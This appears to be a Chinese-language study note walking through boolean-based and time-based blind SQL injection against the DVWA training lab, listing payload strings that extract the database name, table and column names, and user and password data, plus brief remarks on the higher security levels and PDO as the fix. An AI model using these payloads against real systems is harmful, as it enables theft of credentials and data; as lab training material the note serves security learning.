DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
基于布尔值的盲注
一、DVWA分析
将DVWA的级别设置为low
1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变,此次不能简单的通过回显的值来进行一般的注入了,可以通过bool盲注或者基于时间的注入。

2.判断sql是否存在注入,以及注入的类型
下图说明存在字符型注入



3.猜解当前数据库名
3.1猜解当前数据库的长度
1' and length(database())=4 #

3.2猜解数据库的名称
1' and ascii(substr(database(),1,1))>99 #

1' and ascii(substr(database(),1,1))>100 #

3.3从上面的图可以看到当前的数据库名的第一位是d,依照上面的方法猜解数据库的其他3位 猜解到数据库名位dvwa
4.猜解数据库中的表名
4.1猜解数据库中有几个表,下图可以得出有2个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

4.2猜解表名称的长度
猜解第一个表的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9#
猜解第二个表的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #
4.3猜解表的名称
猜解第一个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103#
依次猜解,获得第一个表的名称(guestbook)
猜解第二个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117#
依次猜解,获得第二个表的名称(users)
5.猜解表中的字段名
5.1猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
5.2猜解每个字段的长度
猜解第一个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7#
猜解第二个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=10#
猜解第三个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=9#
猜解第四个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 3,1))=4#
猜解第五个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8#
猜解第六个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 5,1))=6#
猜解第七个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 6,1))=10#
猜解第八个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 7,1))=12#
5.3猜解字段的名称
这里只猜解第三个字段(user)和第四个字段(password)的名称
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=117#
依次猜解,获得字段的名称(user)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112#
依次猜解,获得字段的名称(password)
5.4猜解数据
1' and (select count(user) from users)=5# 猜解到user字段有5行数据
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
依次猜解user字段的所有行数的数据
1' and ascii(substr((select password from users limit 1,1),1,1))=85#
将DVWA的级别设置为medium
1.可以看到前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数,分析源码mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义

2.判断是否存在注入点以及注入的类型
输入如下两行,判断返回的结果,下图说明存在数字型注入
1 and 1=1#
1 and 1=2#


3.猜解当前数据库名
3.1猜解数据库的长度
1 and length(database())=4#

3.2猜解数据库的名称
1 and ascii(substr(database(),1,1))=100#
依次猜解,获得当前数据库的名称位dvwa
4.猜解数据库中的表
4.1猜解数据库中有几个表
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
4.2猜解表名称的长度
猜解第一个表的长度
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
猜解第二个表的长度
1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))=5#
4.3猜解表的名称
猜解第一个表
1 and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=103#
依次猜解,获得第一个表的名称(guestbook)
猜解第二个表
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#
依次猜解,获得第二个表的名称(users)
5.猜解表中的字段名
5.1猜解users表中有几个字段
1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8#
5.2猜解字段的长度
5.3猜解字段的名称
将DVWA的级别设置为High
1.分析源码,利用cookie传递参数id,当sql查询结果为空时,会执行sleep函数(防止基于时间的盲注),然后在sql查询语句中加入了limit限制,但可以通过#注释掉来绕过防御。

将DVWA的级别设置为Impossible
1.分析源码,对参数使用PDO技术,PDO技术将用户传递的参数与sql查询语句完全分离,杜绝了sql注入

DVWA-SQL基于时间盲注
将DVWA的级别设置为low
1.判断是否存在注入点以及注入类型
通过输入以下两行,根据返回的延迟判断存在字符型注入
1 and sleep(5)#
1' and sleep(5)#
2.猜解当前数据库名
2.1猜解当前数据库的长度
1' and if(length(database())=4,sleep(5),1)#
2.2猜解数据库的名称
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
依次猜解,获得当前数据库的名称位dvwa
3.猜解数据库中的表
3.1猜解数据库中有几个表
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
3.2猜解表名称的长度
猜解第一个表的长度
1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9,sleep(5),1)#
猜解第二个表的长度
1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#
3.3猜解表的名称
猜解第一个表
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103,sleep(5),1)#
依次猜解,获得第一个表的名称(guestbook)
猜解第一个表
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#
依次猜解,获得第二个表的名称(users)
4. 猜解表中的字段名
4.1猜解users表中有几个字段
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
4.2猜解字段的名称
同上
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记的更多相关文章
- 位运算求最值 学习笔记 (待补充QAQ)
没有什么前言?直接进入正题qwq 俩俩异或 求最值: 建trie树 O(n)枚举每个数找这个数的最值,每次反走就成,还可以剪枝一波(如果在某位已经小于ans显然可以直接return? void Ins ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- SQL基于时间的盲注过程
0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了: 首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是 ...
- mysql基于“时间”的盲注
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...
- Python:SQLMap源码精读—基于时间的盲注(time-based blind)
建议阅读 Time-Based Blind SQL Injection Attacks 基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以 ...
- Swift语言指南(七)--语言基础之布尔值和类型别名
原文:Swift语言指南(七)--语言基础之布尔值和类型别名 布尔值 Swift有一个基本布尔类型,叫做布尔(bool),布尔值又称逻辑值(logical),因为它只能为真(true)或假(false ...
- 第一节 Python基础之数据类型(整型,布尔值,字符串)
数据类型是每一种语言的基础,就比如说一支笔,它的墨有可能是红色,有可能是黑色,也有可能是黄色等等,这不同的颜色就会被人用在不同的场景.Python中的数据类型也是一样,比如说我们要描述一个人的年龄:小 ...
- Python数据类型-01.数字和布尔值
本节主要介绍Python中的基础知识中的数据类型,数字和布尔值 介绍几个知识点:1)内置函数print()的用法,直接打印括号里面的内容,或者print后跟多个输出,以逗号分隔.2)内置函数type( ...
- [python学习篇][书籍学习][python standrad library][内置类型]对象测试真值,布尔值操作, 比较操作
几乎所有对象都可以比较.测试真值.转换为字符串(其实就是用repr()函数,或略有差异的str()函数来转换) 1 对象是否为真 任何对象都可以测试真值,用于if或while的条件或下面布尔运算的操作 ...
随机推荐
- wpf 两个自定义控件
wpf 两个自定义控件 一个是IP控件,一个滑动条.先看下效果图 IPControl 1.实际工作中有时需要设置IP信息,就想着做一个ip控件.效果没有window自带的好,需要通过tab切换.但也能 ...
- ASP.NET MVC AJAX 请求中加入 antiforgerytoken 解决“所需的防伪表单字段“__RequestVerificationToken”不存在”问题
在ASP.NET mvc中如果在表中使用了@Html.AntiForgeryToken(),ajax post不会请求成功 解决方法是在ajax中加入__RequestVerificationToke ...
- 表达式树练习实践:C#判断语句
目录 表达式树练习实践:C#判断语句 if if...else switch ?? 和 ?: 表达式树练习实践:C#判断语句 判断语句 C# 提供了以下类型的判断语句: 语句 描述 if 一个 if ...
- 关于yield和yield from
一.简单示例 def yield_func(): for _ in range(2): yield "12" def yield_from_func(): for _ in ran ...
- shell 编程练习题2
需求1:使用root用户清空/var/log/messages日志,并每次执行保留最近100行 1.必须是root用户 2.需要保留最后100行 [root@manager if]# cat ...
- 使用Wireshark进行DNS协议解析
- 域名及解析过程 域名由一系列 - DNS协议报文格式 一次DNS过程包含一对请求报文和响应报文.请求和响应报文有统一的报文格式如下图: - DNS报文例子 一次DNS请求的过程: 包括请求和响应, ...
- Java垃圾收集器——Parallel、G1收集器日志分析及性能调优示范
开发过程中,经常需要对GC的垃圾收集器参数不断的进行动态调整,从而更充分的压榨机器性能,提升应用效率.本文将从常见的Parallel/G1垃圾收集器的GC日志着手,分析GC日志的具体含义,以及示范如何 ...
- MYSQL第二课
创建数据库: 输入:CREATE DATABASE itcase;计算机输出: Query OK, 1 row affected 查看数据库:输入:SHOW DATABASES;计算机输出: +--- ...
- 爬虫---lxml爬取博客文章
上一篇大概写了下lxml的用法,今天我们通过案例来实践,爬取我的博客博客并保存在本地 爬取博客园博客 爬取思路: 1.首先找到需要爬取的博客园地址 2.解析博客园地址 # coding:utf-8 i ...
- ACM-冒泡排序
将多组输入数据进行冒泡排序,并去除相同的数据 #include <iostream> #include <vector> using namespace std; void R ...